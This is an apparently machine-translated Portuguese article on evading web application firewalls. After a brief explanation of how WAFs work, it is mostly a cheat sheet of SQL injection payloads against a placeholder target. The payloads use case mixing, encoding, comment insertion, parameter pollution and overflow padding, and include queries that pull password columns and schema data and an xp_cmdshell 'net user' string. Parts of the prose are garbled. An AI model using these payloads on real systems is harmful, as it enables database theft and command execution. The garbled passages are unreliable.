Um firewall de aplicativos da Web (ou WAF) filtra, monitora e bloqueia o tráfego HTTP para e de um aplicativo da Web . Um WAF é diferenciado de um firewall regular em que um WAF é capaz de filtrar o conteúdo de aplicativos da Web específicos, enquanto os firewalls comuns servem como um portão de segurança entre os servidores. Ao inspecionar o tráfego HTTP, ele pode evitar ataques decorrentes de falhas de segurança de aplicativos da Web, como injeção de SQL , XSS ( cross-site scripting ), inclusão de arquivos e configurações erradas de segurança .__ Wiki

Como o WAF funciona?

  • Protocolo de detecção de exceção: nega solicitações que não atendem aos padrões HTTP
  • Validação de entrada aprimorada: Validação de proxy e servidor, não apenas validação do lado do cliente
  • WhiteList & Blacklist
  • Proteção baseada em regras e baseada em exceção: mais mecanismos baseados em preto baseados em regras, mais flexíveis com base em exceções
  • Gerenciamento do Estado: foco na proteção de sessão. Há também: proteção de cookies, tecnologia anti-intrusão, monitoramento de resposta e proteção de divulgação de informações.

Como ignorar WAF

  1. Caso mistoMude o caso de entrada maliciosa que desencadeia proteções WAF. A união pode tornar-se UNIão, se o WAF estiver usando uma lista negra sensível a maiúsculas e minúsculas, a mudança de maiúsculas e minúsculas pode ignorar esse filtro.
    http://target.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4 
  2. Substitua a palavra-chave (Insira caracteres especiais que serão removidos por WAF) – SELECT pode se tornar SEL <ECT que será transmitido como SELECIONAR uma vez que o caracter ofensivo seja removido.
    http://target.com/index.php?page_id=-15&nbsp;UNIunionON SELselectECT 1,2,3,4 
  3. Codificar
    + Codificar URL

    page.php?id=1%252f%252a*/UNION%252f%252a /SELECT 

    +Hex encode

    target.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…   SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)) 

    +Unicode encode

    ?id=10%D6'%20AND%201=2%23    
          SELECT 'Ä'='A'; #1 
  4. Use comentários
    Insira comentários no meio das cordas de ataque. Por exemplo, / *! SELECT * / pode ser ignorado pelo WAF, mas passado para o aplicativo de destino e processado por um banco de dados mysql.

    index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4     
          'union%a0select pass from users# 
    index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3   
          ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4… 
  5. Funções e comandos equivalentes
    Algumas funções ou comandos não podem ser usados ​​porque essas palavras-chave são detectadas, mas em muitos casos podemos ser usadas com código equivalente ou similar delas.

    hex()、bin() ==> ascii() 
    sleep() ==>benchmark() 
    concat_ws()==>group_concat() 
    substr((select 'password'),1,1) = 0x70   
         strcmp(left('password',1), 0x69) = 1  
         strcmp(left('password',1), 0x70) = 0   
         strcmp(left('password',1), 0x71) = -1 
    mid()、substr() ==> substring() 
    @@user ==> user() 
    @@datadir ==> datadir() 
  6. Símbolos especiais. Tenho caracteres não-alfanuméricos nos símbolos especiais de uma classe, símbolos especiais têm um significado e uso especiais.
    + ` symbol: select `version()`;
    + +- :select+id-1+1.from users;
    + @:select@^1.from users;
    +Mysql function() as xxx
    +`、~、!、@、%、()、[]、.、-、+ 、|、%00
    Exemplo:

    'se'+'lec'+'t'      
              %S%E%L%E%C%T 1      
              1.aspx?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell ”net user”') ' 
    or --+2=- -!!!'2   
         id=1+(UnI)(oN)+(SeL)(EcT) 
  7. Controle de parâmetros HTTPSaplica múltiplos parâmetros = conjuntos de valores do mesmo nome para confundir o WAF. Dado o exemplo http://example.com?id=1&?id= ‘ ou’ 1 ‘=’ 1 ‘-‘ em algumas circunstâncias, como o Apache / PHP, o aplicativo analisará apenas a última (segunda) instância de Id = enquanto o WAF apenas analisa o primeiro. Parece ser um pedido legítimo, mas o aplicativo ainda recebe e processa entradas maliciosas. A maioria dos WAF’s hoje não é vulnerável à Poluição de Parâmetros HTTP (HPP), mas ainda vale a pena tentar ao construir bypasses.
    + HPP (solução de parâmetros HTTP)

    /?id=1;select+1,2,3+from+users+where+id=1—   
          /?id=1;select+1&amp;id=2,3+from+users+where+id=1—   
          /?id=1/**/union/*&amp;id=*/select/*&amp;id=*/pwd/*&amp;id=*/from/*&amp;id=*/users 

    HPP também é conhecido como contaminação de parâmetro repetido, o mais simples é: uid = 1 & uid = 2 & uid = 3, para este caso, processamento de servidor Web diferente da seguinte maneira:

    + HPF (Fragmento de parâmetro HTTP)

    Este método é a injeção de segmentação HTTP, semelhante ao CRLF (usando caracteres de controle% 0a,% 0d, etc. para executar quebras de linha)

    /?a=1+union/*&amp;b=*/select+1,pass/*&amp;c=*/from+users--  
         select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users— 

    + HPC (Contaminação de parâmetros HTTP)
    RFC2396 define os seguintes caracteres:

    Unreserved: az, AZ, 0-9 and _ . ! ~ * ' () 
    Reserved : ; / ? : @ &amp; = + $ , 
    Unwise : { } | \ ^ [ ] ` 

    Processos de processamento diferentes do servidor da Web têm lógica diferente ao criar solicitações especiais:

    No caso do magic character %, Asp / Asp.net será afetado

  8. O buffer overflow WAF é, depois de tudo, aplicações e vulnerável às mesmas falhas de software que qualquer outra aplicação. Se uma condição de transbordamento do buffer for capaz de criar uma falha, mesmo que não resulte na execução do código, isso pode resultar na abertura de um WAF. Em outras palavras, um bypass.
    ?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 
  9. IntegrationIntegration significa o uso de uma variedade de tecnologia de bypass, uma tecnologia única pode não ser capaz de ignorar o mecanismo de filtragem, mas o uso de uma variedade de tecnologias com a possibilidade de sucesso aumentará muito.
    target.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4… 
    id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– - 
    ?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e-- 
Anúncios